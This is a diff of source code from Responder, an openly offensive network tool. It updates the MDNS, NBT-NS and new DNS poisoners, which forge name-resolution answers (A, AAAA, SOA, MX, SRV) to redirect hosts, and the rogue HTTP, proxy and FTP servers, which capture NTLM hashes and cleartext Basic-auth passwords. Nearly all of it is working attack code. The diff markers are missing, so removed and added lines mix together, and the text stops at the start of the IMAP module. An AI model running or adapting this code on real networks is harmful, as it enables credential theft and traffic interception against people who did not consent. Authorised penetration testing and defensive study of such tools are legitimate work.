@@ -51,37 +54,59 @@ def Poisoned_MDNS_Name(data):
class MDNS(BaseRequestHandler):
def handle(self):
MADDR = "224.0.0.251"
MPORT = 5353
try:
data, soc = self.request
Request_Name = Parse_MDNS_Name(data)
MDNSType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host
if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True):
return None
data, soc = self.request
Request_Name = Parse_MDNS_Name(data)
# Break out if we don't want to respond to this host
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
return None
if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data):
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
if settings.Config.AnalyzeMode: # Analyze Mode
# Don't print if in Quiet Mode
if not settings.Config.Quiet_Mode:
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3))))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '1',
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode
if Parse_IPV6_Addr(data):
elif MDNSType == True: # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
#Use default:
if settings.Config.TTL == None:
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
else:
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT))
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode:
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})
elif MDNSType == 'IPv6' and Have_IPv6: # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
#Use default:
if settings.Config.TTL == None:
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
else:
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name, TTL= settings.Config.TTL)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode:
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS6',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})
except:
raise

70
poisoners/NBTNS.py Normal file → Executable file
View File

@@ -14,7 +14,6 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import fingerprint
import sys
from packets import NBT_Ans
from utils import *
@@ -24,59 +23,44 @@ if (sys.version_info > (3, 0)):
else:
from SocketServer import BaseRequestHandler
# Define what are we answering to.
def Validate_NBT_NS(data):
print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46]))
if settings.Config.AnalyzeMode:
return False
elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server":
return True
elif settings.Config.NBTNSDomain:
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller":
return True
elif settings.Config.Wredirect:
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector":
return True
return False
# NBT_NS Server class.
class NBTNS(BaseRequestHandler):
def handle(self):
try:
data, socket = self.request
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
return None
data, socket = self.request
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True:
return None
if data[2:4] == b'\x01\x10':
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
SavePoisonersToDb({
if data[2:4] == b'\x01\x10':
if settings.Config.AnalyzeMode: # Analyze Mode
# Don't print if in Quiet Mode
if not settings.Config.Quiet_Mode:
print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3))))
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode
Buffer1 = NBT_Ans()
Buffer1.calculate(data)
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
LineHeader = "[*] [NBT-NS]"
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
SavePoisonersToDb({
})
else: # Poisoning Mode
if settings.Config.TTL == None:
Buffer1 = NBT_Ans()
else:
Buffer1 = NBT_Ans(TTL=settings.Config.TTL)
Buffer1.calculate(data)
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [NBT-NS]"
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
})
except:
raise
if Finger is not None:
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))

30
pyproject.toml Normal file
View File

@@ -0,0 +1,30 @@
[build-system]
requires = ["pdm-backend >= 2.4.0"]
build-backend = "pdm.backend"
[project]
name = "Responder-poisoner" # "responder" is already taken
description = "LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication."
readme = "README.md"
license = "GPL-3.0-only"
license-files = ["LICENSE"]
dynamic = ["version"]
dependencies = ["aioquic", "netifaces>=0.10.4"]
classifiers = [
"Operating System :: MacOS",
"Operating System :: POSIX :: Linux",
"Topic :: Security"
]
[project.urls]
Homepage = "https://github.com/lgandx/Responder"
Issues = "https://github.com/lgandx/Responder/issues"
[project.scripts]
responder = "Responder:main"
[tool.pdm.build]
includes = ["*.py", "files/", "poisoners/", "servers/", "certs/", "tools/", "Responder.conf"]
[tool.pdm.version]
source = "scm"

2
requirements.txt Normal file
View File

@@ -0,0 +1,2 @@
aioquic
netifaces>=0.10.4

View File

@@ -165,7 +165,7 @@ def BecomeBackup(data,Client):
Role = NBT_NS_Role(data[45:48])
if settings.Config.AnalyzeMode:
print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)))
print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client.replace("::ffff:",""), Name,Role,Domain)))
RAPInfo = RAPThisDomain(Client, Domain)
if RAPInfo is not None:
print(RAPInfo)
@@ -182,7 +182,7 @@ def ParseDatagramNBTNames(data,Client):
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)))
print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client.replace("::ffff:",""), Name, Role1, Domain, Role2)))
RAPInfo = RAPThisDomain(Client, Domain)
if RAPInfo is not None:
print(RAPInfo)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,70 +14,455 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# Features:
# - Responds to A, AAAA, SOA, MX, TXT, SRV, and ANY queries
# - SOA records to appear as authoritative DNS server
# - MX record poisoning for email client authentication capture
# - SRV record poisoning for service discovery (Kerberos, LDAP, etc.)
# - Logs interesting authentication-related domains
# - Short TTL (60s) to ensure frequent re-queries
# - IPv6 support for modern networks
#
from utils import *
from packets import DNS_Ans, DNS_SRV_Ans
import struct
import socket
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
# If Type A, Class IN, then answer.
if QueryTypeClass == "\x00\x01\x00\x01":
return "A"
if QueryTypeClass == "\x00\x21\x00\x01":
return "SRV"
class DNS(BaseRequestHandler):
"""
Enhanced DNS server for Responder
Redirects DNS queries to attacker's IP to force authentication attempts
"""
def handle(self):
# Ditch it if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
return None
try:
data, soc = self.request
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception:
pass
# DNS Server TCP Class
class DNSTCP(BaseRequestHandler):
def handle(self):
# Break out if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
data, socket_obj = self.request
if len(data) < 12:
return
# Parse DNS header
transaction_id = data[0:2]
flags = struct.unpack('>H', data[2:4])[0]
questions = struct.unpack('>H', data[4:6])[0]
# Check if it's a query (QR bit = 0)
if flags & 0x8000:
return # It's a response, ignore
# Parse question section
query_name, query_type, query_class, offset = self.parse_question(data, 12)
if not query_name:
return
# Log the query
if settings.Config.Verbose:
query_type_name = self.get_type_name(query_type)
print(text('[DNS] Query from %s: %s (%s)' % (
self.client_address[0].replace('::ffff:', ''),
query_name,
query_type_name
)))
# Check if we should respond to this query
if not self.should_respond(query_name, query_type):
return
# Build response
response = self.build_response(
transaction_id,
query_name,
query_type,
query_class,
data
)
if response:
socket_obj.sendto(response, self.client_address)
if settings.Config.Verbose:
target_ip = self.get_target_ip(query_type)
print(color('[DNS] Poisoned response: %s -> %s' % (
query_name, target_ip), 2, 1))
except Exception as e:
if settings.Config.Verbose:
print(text('[DNS] Error: %s' % str(e)))
def parse_question(self, data, offset):
"""Parse DNS question section and return domain name, type, class"""
try:
# Parse domain name (labels)
labels = []
original_offset = offset
while offset < len(data):
length = data[offset]
if length == 0:
offset += 1
break
# Check for compression pointer
if (length & 0xC0) == 0xC0:
# Compression pointer, stop here
offset += 2
break
offset += 1
if offset + length > len(data):
return None, None, None, offset
label = data[offset:offset+length].decode('utf-8', errors='ignore')
labels.append(label)
offset += length
domain_name = '.'.join(labels)
# Parse type and class
if offset + 4 > len(data):
return None, None, None, offset
query_type = struct.unpack('>H', data[offset:offset+2])[0]
query_class = struct.unpack('>H', data[offset+2:offset+4])[0]
offset += 4
return domain_name, query_type, query_class, offset
except:
return None, None, None, offset
def should_respond(self, query_name, query_type):
"""Determine if we should respond to this DNS query"""
# Don't respond to empty queries
if not query_name:
return False
# Respond to these query types:
# A (1), SOA (6), MX (15), TXT (16), AAAA (28), SRV (33), ANY (255)
supported_types = [1, 6, 15, 16, 28, 33, 255]
if query_type not in supported_types:
return False
# Filter out WPAD queries if configured
if not settings.Config.WPAD_On_Off:
if 'wpad' in query_name.lower():
return False
# Check if domain is in analyze mode targets
if hasattr(settings.Config, 'AnalyzeMode'):
if settings.Config.AnalyzeMode:
# In analyze mode, log but don't respond
return False
# Log interesting queries (authentication-related domains)
query_lower = query_name.lower()
interesting_patterns = ['login', 'auth', 'sso', 'portal', 'vpn', 'mail', 'smtp', 'imap', 'exchange', '_ldap', '_kerberos', '_gc', '_kpasswd', '_msdcs']
if any(pattern in query_lower for pattern in interesting_patterns):
SaveToDb({
'module': 'DNS',
'type': 'Interesting-Query',
'client': self.client_address[0].replace('::ffff:', ''),
'hostname': query_name,
'fullhash': query_name
})
# Respond to everything
return True
def build_response(self, transaction_id, query_name, query_type, query_class, original_data):
"""Build DNS response packet"""
try:
# DNS Header
response = transaction_id # Transaction ID
# Flags: Response, Authoritative, No error
flags = 0x8400 # Standard query response, authoritative
response += struct.pack('>H', flags)
# Questions, Answers, Authority RRs, Additional RRs
response += struct.pack('>H', 1) # 1 question
response += struct.pack('>H', 1) # 1 answer
response += struct.pack('>H', 0) # 0 authority
response += struct.pack('>H', 0) # 0 additional
# Question section (copy from original query)
# Find question section in original data
question_start = 12
question_end = question_start
# Skip to end of domain name
while question_end < len(original_data):
length = original_data[question_end]
if length == 0:
question_end += 5 # null byte + type (2) + class (2)
break
if (length & 0xC0) == 0xC0:
question_end += 6 # pointer (2) + type (2) + class (2)
break
question_end += length + 1
question_section = original_data[question_start:question_end]
response += question_section
# Answer section
# Name (pointer to question)
response += b'\xc0\x0c' # Pointer to offset 12 (question name)
# Type
response += struct.pack('>H', query_type)
# Class
response += struct.pack('>H', query_class)
# TTL (short to ensure frequent re-queries)
response += struct.pack('>I', 60) # 60 seconds
# Get target IP
target_ip = self.get_target_ip(query_type)
if query_type == 1: # A record
# RDLENGTH
response += struct.pack('>H', 4)
# RDATA (IPv4 address)
response += socket.inet_aton(target_ip)
elif query_type == 28: # AAAA record
# RDLENGTH
response += struct.pack('>H', 16)
# RDATA (IPv6 address)
ipv6 = self.get_ipv6_address()
response += socket.inet_pton(socket.AF_INET6, ipv6)
elif query_type == 6: # SOA record (Start of Authority)
# Build SOA record to appear authoritative
# SOA format: MNAME RNAME SERIAL REFRESH RETRY EXPIRE MINIMUM
# MNAME (primary nameserver) - pointer to query name
soa_data = b'\xc0\x0c'
# RNAME (responsible party) - admin@<domain>
# Format: admin.<domain> (@ becomes .)
soa_data += b'\x05admin\xc0\x0c' # admin + pointer to query name
# SERIAL (zone serial number)
import time
serial = int(time.time()) % 2147483647 # Use timestamp as serial
soa_data += struct.pack('>I', serial)
# REFRESH (32-bit seconds) - how often secondary checks for updates
soa_data += struct.pack('>I', 120) # 2 minutes
# RETRY (32-bit seconds) - retry interval if refresh fails
soa_data += struct.pack('>I', 60) # 1 minute
# EXPIRE (32-bit seconds) - when zone data becomes invalid
soa_data += struct.pack('>I', 300) # 5 minutes
# MINIMUM (32-bit seconds) - minimum TTL for negative caching
soa_data += struct.pack('>I', 60) # 60 seconds
response += struct.pack('>H', len(soa_data))
response += soa_data
if settings.Config.Verbose:
print(color('[DNS] SOA record poisoned - appearing as authoritative', 3, 1))
elif query_type == 15: # MX record (mail server)
# Build MX record pointing to our server
# This captures SMTP auth attempts
mx_data = struct.pack('>H', 10) # Priority 10
mx_data += b'\xc0\x0c' # Pointer to query name (our server)
response += struct.pack('>H', len(mx_data))
response += mx_data
if settings.Config.Verbose:
print(color('[DNS] MX record poisoned - potential email auth capture', 3, 1))
elif query_type == 16: # TXT record
# Return a benign TXT record
txt_data = b'v=spf1 a mx ~all' # SPF record
response += struct.pack('>H', len(txt_data) + 1)
response += struct.pack('B', len(txt_data))
response += txt_data
elif query_type == 33: # SRV record (service discovery)
# SRV format: priority, weight, port, target
# Useful for capturing Kerberos, LDAP, etc.
srv_data = struct.pack('>HHH', 0, 0, 445) # priority, weight, port (SMB)
srv_data += b'\xc0\x0c' # Target (pointer to query name)
response += struct.pack('>H', len(srv_data))
response += srv_data
if settings.Config.Verbose:
print(color('[DNS] SRV record poisoned - potential service auth capture', 3, 1))
elif query_type == 255: # ANY query
# Respond with A record
response += struct.pack('>H', 4)
response += socket.inet_aton(target_ip)
return response
except Exception as e:
if settings.Config.Verbose:
print(text('[DNS] Error building response: %s' % str(e)))
return None
def get_target_ip(self, query_type):
"""Get the target IP address for spoofed responses"""
# Use Responder's configured IP
if query_type == 28: # AAAA
return self.get_ipv6_address()
else: # A record
return settings.Config.Bind_To
def get_ipv6_address(self):
"""Get IPv6 address for AAAA responses"""
# Priority 1: Use explicitly configured IPv6
if hasattr(settings.Config, 'Bind_To_IPv6') and settings.Config.Bind_To_IPv6:
return settings.Config.Bind_To_IPv6
# Priority 2: Try to detect actual IPv6 on interface
try:
data = self.request.recv(1024)
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception:
import netifaces
ipv4 = settings.Config.Bind_To
# Find which interface has this IPv4
for iface in netifaces.interfaces():
try:
addrs = netifaces.ifaddresses(iface)
# Check if this interface has our IPv4
if netifaces.AF_INET in addrs:
for addr in addrs[netifaces.AF_INET]:
if addr.get('addr') == ipv4:
# Found the interface, get its global IPv6
if netifaces.AF_INET6 in addrs:
for ipv6_addr in addrs[netifaces.AF_INET6]:
ipv6 = ipv6_addr.get('addr', '').split('%')[0]
# Return first global IPv6 (not link-local fe80::)
if ipv6 and not ipv6.startswith('fe80:'):
return ipv6
except:
continue
except ImportError:
pass
except:
pass
# Priority 3: Use IPv4-mapped IPv6 format (::ffff:x.x.x.x)
# This allows dual-stack clients to connect via IPv4
try:
ipv4 = settings.Config.Bind_To
return '::ffff:%s' % ipv4
except:
pass
# Last resort: return IPv6 loopback
return '::1'
def get_type_name(self, query_type):
"""Convert query type number to name"""
types = {
1: 'A',
2: 'NS',
5: 'CNAME',
6: 'SOA',
12: 'PTR',
15: 'MX',
16: 'TXT',
28: 'AAAA',
33: 'SRV',
255: 'ANY'
}
return types.get(query_type, 'TYPE%d' % query_type)
class DNSTCP(BaseRequestHandler):
"""
DNS over TCP server
Handles TCP-based DNS queries (zone transfers, large responses)
"""
def handle(self):
try:
# TCP DNS messages are prefixed with 2-byte length
length_data = self.request.recv(2)
if len(length_data) < 2:
return
msg_length = struct.unpack('>H', length_data)[0]
# Receive the DNS message
data = b''
while len(data) < msg_length:
chunk = self.request.recv(msg_length - len(data))
if not chunk:
return
data += chunk
if len(data) < 12:
return
# Parse DNS header
transaction_id = data[0:2]
flags = struct.unpack('>H', data[2:4])[0]
questions = struct.unpack('>H', data[4:6])[0]
# Check if it's a query
if flags & 0x8000:
return
# Create DNS instance to reuse parsing logic
dns_handler = DNS.__new__(DNS)
dns_handler.client_address = self.client_address
# Parse question
query_name, query_type, query_class, offset = dns_handler.parse_question(data, 12)
if not query_name:
return
# Log the query
if settings.Config.Verbose:
query_type_name = dns_handler.get_type_name(query_type)
print(text('[DNS-TCP] Query from %s: %s (%s)' % (
self.client_address[0].replace('::ffff:', ''),
query_name,
query_type_name
)))
# Check if we should respond
if not dns_handler.should_respond(query_name, query_type):
return
# Build response
response = dns_handler.build_response(
transaction_id,
query_name,
query_type,
query_class,
data
)
if response:
# Prefix with length for TCP
tcp_response = struct.pack('>H', len(response)) + response
self.request.sendall(tcp_response)
if settings.Config.Verbose:
target_ip = dns_handler.get_target_ip(query_type)
print(color('[DNS-TCP] Poisoned response: %s -> %s' % (
query_name, target_ip), 2, 1))
except Exception as e:
if settings.Config.Verbose:
print(text('[DNS-TCP] Error: %s' % str(e)))

3
servers/FTP.py Normal file → Executable file
View File

@@ -37,10 +37,8 @@ class FTP(BaseRequestHandler):
if data[0:4] == b'PASS':
Pass = data[5:].strip().decode("latin-1")
Packet = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(NetworkSendBufferPython2or3(Packet))
data = self.request.recv(1024)
SaveToDb({
'module': 'FTP',
@@ -57,4 +55,5 @@ class FTP(BaseRequestHandler):
data = self.request.recv(1024)
except Exception:
self.request.close()
pass

View File

@@ -86,16 +86,6 @@ def GrabCookie(data, host):
return Cookie
return False
def GrabHost(data, host):
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
if Host:
Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose:
print(text("[HTTP] Host : %s " % color(Host, 3)))
return Host
return False
def GrabReferer(data, host):
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
@@ -106,26 +96,9 @@ def GrabReferer(data, host):
return Referer
return False
def SpotFirefox(data):
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
if UserAgent:
print(text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)))
IsFirefox = re.search('Firefox', UserAgent[0])
if IsFirefox:
print(color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1))
print(color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1))
return True
else:
return False
def WpadCustom(data, client):
Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
if Wpad and SpotFirefox(data):
Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}")
Buffer.calculate()
return str(Buffer)
if Wpad and SpotFirefox(data) == False:
if Wpad:
Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
Buffer.calculate()
return str(Buffer)
@@ -177,6 +150,7 @@ def GrabURL(data, host):
# Handle HTTP packet sequence.
def PacketSequence(data, client, Challenge):
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
NTLM_Auth2 = re.findall(r'(?<=Authorization: Negotiate )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
# Serve the .exe if needed
@@ -196,15 +170,14 @@ def PacketSequence(data, client, Challenge):
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == b'\x01':
GrabURL(data, client)
GrabReferer(data, client)
GrabHost(data, client)
#GrabReferer(data, client)
GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer.calculate()
Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
#Buffer_Ans.calculate(Buffer)
Buffer_Ans.calculate()
return Buffer_Ans
if Packet_NTLM == b'\x03':
@@ -216,7 +189,37 @@ def PacketSequence(data, client, Challenge):
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print(text("[HTTP] WPAD (auth) file sent to %s" % client))
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
return WPAD_Custom
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return Buffer
elif NTLM_Auth2:
Packet_NTLM = b64decode(''.join(NTLM_Auth2))[8:9]
if Packet_NTLM == b'\x01':
GrabURL(data, client)
#GrabReferer(data, client)
GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer.calculate()
Buffer_Ans = IIS_NTLM_Challenge_Ans(WWWAuth = "WWW-Authenticate: Negotiate ", Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
Buffer_Ans.calculate()
return Buffer_Ans
if Packet_NTLM == b'\x03':
NTLM_Auth = b64decode(''.join(NTLM_Auth2))
if IsWebDAV(data):
module = "WebDAV"
else:
module = "HTTP"
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
return WPAD_Custom
else:
@@ -228,21 +231,20 @@ def PacketSequence(data, client, Challenge):
ClearText_Auth = b64decode(''.join(Basic_Auth))
GrabURL(data, client)
GrabReferer(data, client)
GrabHost(data, client)
#GrabReferer(data, client)
GrabCookie(data, client)
SaveToDb({
'module': 'HTTP',
'type': 'Basic',
'client': client,
'user': ClearText_Auth.decode('latin-1').split(':')[0],
'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
'user': ClearText_Auth.decode('latin-1').split(':', maxsplit=1)[0],
'cleartext': ClearText_Auth.decode('latin-1').split(':', maxsplit=1)[1],
})
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
if settings.Config.Verbose:
print(text("[HTTP] WPAD (auth) file sent to %s" % client))
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
return WPAD_Custom
else:
@@ -251,14 +253,18 @@ def PacketSequence(data, client, Challenge):
return Buffer
else:
if settings.Config.Basic:
Response = IIS_Basic_401_Ans()
r = IIS_Basic_401_Ans()
r.calculate()
Response = r
if settings.Config.Verbose:
print(text("[HTTP] Sending BASIC authentication request to %s" % client))
print(text("[HTTP] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
else:
Response = IIS_Auth_401_Ans()
r = IIS_Auth_401_Ans()
r.calculate()
Response = r
if settings.Config.Verbose:
print(text("[HTTP] Sending NTLM authentication request to %s" % client))
print(text("[HTTP] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
return Response
@@ -302,7 +308,7 @@ class HTTP(BaseRequestHandler):
self.request.send(NetworkSendBufferPython2or3(Buffer))
self.request.close()
if settings.Config.Verbose:
print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]))
print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0].replace("::ffff:","")))
else:
Buffer = PacketSequence(data,self.client_address[0], Challenge)
@@ -311,3 +317,4 @@ class HTTP(BaseRequestHandler):
except:
pass

13
servers/HTTP_Proxy.py Normal file → Executable file
View File

@@ -207,9 +207,9 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
rbufsize = 0
def handle(self):
(ip, port) = self.client_address
(ip, port) = self.client_address[0], self.client_address[1]
if settings.Config.Verbose:
print(text("[PROXY] Received connection from %s" % self.client_address[0]))
print(text("[PROXY] Received connection from %s" % self.client_address[0].replace("::ffff:","")))
self.__base_handle()
def _connect_to(self, netloc, soc):
@@ -246,14 +246,15 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
try:
if self._connect_to(self.path, soc):
self.wfile.write(self.protocol_version +" 200 Connection established\r\n")
self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
self.wfile.write("\r\n")
self.wfile.write(NetworkSendBufferPython2or3(self.protocol_version +" 200 Connection established\r\n"))
self.wfile.write(NetworkSendBufferPython2or3("Proxy-agent: %s\r\n"% self.version_string()))
self.wfile.write(NetworkSendBufferPython2or3("\r\n"))
try:
self._read_write(soc, 300)
except:
pass
except:
raise
pass
finally:
@@ -285,7 +286,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
if settings.Config.Verbose:
print(text("[PROXY] Client : %s" % color(self.client_address[0], 3)))
print(text("[PROXY] Client : %s" % color(self.client_address[0].replace("::ffff:",""), 3)))
print(text("[PROXY] Requested URL : %s" % color(self.path, 3)))
print(text("[PROXY] Cookie : %s" % Cookie))

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -15,34 +15,600 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
import base64
import re
import struct
import os
from utils import *
if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
class IMAP(BaseRequestHandler):
def handle(self):
try:
